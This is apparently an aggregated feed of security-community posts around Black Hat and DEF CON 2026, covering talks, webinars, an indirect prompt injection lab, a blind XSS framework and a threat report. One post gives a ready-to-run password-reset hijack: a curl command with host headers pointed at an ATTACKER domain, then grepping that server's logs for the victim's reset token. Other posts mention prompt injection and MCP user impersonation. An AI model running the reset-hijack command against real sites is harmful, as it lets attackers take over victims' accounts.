HAIJA INTEL REPORT

Don’t miss red team operator Cedric Van Bockhaven’s presentation at Fortra’s Black Hat booth #2939 Wednesday morning. We will have in-booth tradecraft presentations running on both Wednesday and Thursday of Black Hat USA 2026. See our full schedule here: https:// cobaltstrike.com

AI agents are expanding the attack surface. Are your defenses evolving too? Join @jaredcatkinson and @JustinKohler10 for our upcoming webinar and learn why Identity Attack Path Management is becoming even more critical. Register: https:// ghst.ly/4h0yWPn

Watch @NahamSec and me walk through an AI hacking lab I built to recreate a real AI vulnerability. If you want to learn about Indirect Prompt Injection, this is an easy way to start! I sat down with @TakSec and he taught me everything I needed to know about Indirect Prompt Inject

I’m speaking at Red Team Village doing the keynote with @NahamSec and a couple of other amazing people. Looking forward to meeting everyone and talking about AI security. See you at 10 a.m. on Friday - @RedTeamVillage_ #defcon

Cool :) I sat down with @TakSec and he taught me everything I needed to know about Indirect Prompt Injection using a free custom lab on @hackinghub_io! https:// youtu.be/8yI10AgOevQ

CONTENTS OF BEN ARE AWESOME I sat down with @TakSec and he taught me everything I needed to know about Indirect Prompt Injection using a free custom lab on @hackinghub_io! https:// youtu.be/8yI10AgOevQ

Reset Link Hijack 1. Set your domain and target/victim a=ATTACKER && curl https://TARGET/reset -d "email=VICTIM" -H "Host: $a " -H "X-Forwarded-Host: $a " -H "X-Host: $a " 2. Watch the logs tail -f /var/log/apache2/./access.log | grep -i "token" Victim clicks, token is yours.

Hacker Summer Camp Day 0: Today @arcanuminfosec is releasing WRAITH, our new browser hooking and blind XSS framework. Enjoy! https:// github.com/Arcanum-Sec/wr aith …

The CrowdStrike 2026 Threat Hunting Report is here. 2.5X: CrowdStrike OverWatch has observed significant growth in AI agent-triggered detection leads, now tracking at 2.5x the rate of human-triggered leads. 24 hours: China-nexus adversaries rapidly exploit

Whether we want to admit it or not - the more we connect to our agents, the larger we are making the attack surface. In my @btphantomlabs blog below, I go over how easy it is to impersonate a user (with stolen credentials) through OpenAIs "Apps" (remote MCP servers):

Hot take: One of the most effective privilege escalation techniques is over a decade old and most orgs still aren't fully protected. Tomorrow, the legendary researcher @TimMedin - who coined the term - joins us on SecOps Weekly to break down why Kerberoasting refuses to die